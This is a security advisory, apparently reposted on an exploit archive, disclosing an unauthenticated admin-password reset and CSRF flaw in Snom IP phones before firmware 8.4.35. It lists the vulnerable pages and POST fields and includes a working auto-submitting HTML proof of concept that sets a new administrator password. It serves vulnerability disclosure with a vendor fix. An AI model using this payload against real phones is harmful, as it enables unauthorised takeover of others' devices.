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Snom IP Phone Privilege Escalation - Security Advisory - SOS-12-001
[Snom IP Phone Privilege Escalation - Security Advisory - SOS-12-001
Product. Snom IP Phone series
Platform. Hardware
Affected versions. All versions prior to v8.4.35
Severity Rating. High
Impact. Privilege escalation
Attack Vector. Remote without authentication
Solution Status. Vendor patch
CVE reference. CVE - not yet assigned
Details.
The privilege escalation is possible because the form used to
login as the admin user is the same form for resetting the
admin password, and the user is not required to enter their
old password when changing their password. This form is also
vulnerable to Cross-Site Request Forgery (CSRF).
This issue is exploitable on the following pages:
Version 7, 8: http://x.x.x.x/advanced_network.htm
Version 6 and below: http://x.x.x.x/advanced.htm
Where an attacker can reset the Administrator password by
removing all password attempt variables and adding the
following POST data:
admin_mode=on
admin_mode_password=newpass
admin_mode_password_confirm=newpass
Settings=Save
hidden_tag=(leave as the current post variable if CSRF
protection is enabled in firmware versions 7.1.33 and above)
After sending the request the attacker can now login as the
Administrator with the credentials specified in the above
request.
Proof of Concept.
<?php echo htmlentities('<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/advanced_network.htm" name="form"
method="POST">
<input type="text" name="admin_mode" value="on">
<input type="text" name="admin_mode_password" value="newpass">
<input type="text" name="admin_mode_password_confirm" value="newpass">
<input type="text" name="Settings" value="save">
</form>
</body><br>
</html>'); ?>
Solution.
Download the latest firmware version 8.4.35 for the Snom phone from:
http://wiki.snom.com/Firmware
Discovered by.
Nathaniel Carew from Sense of Security Labs.
About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.
# 0day.today [2024-12-25] #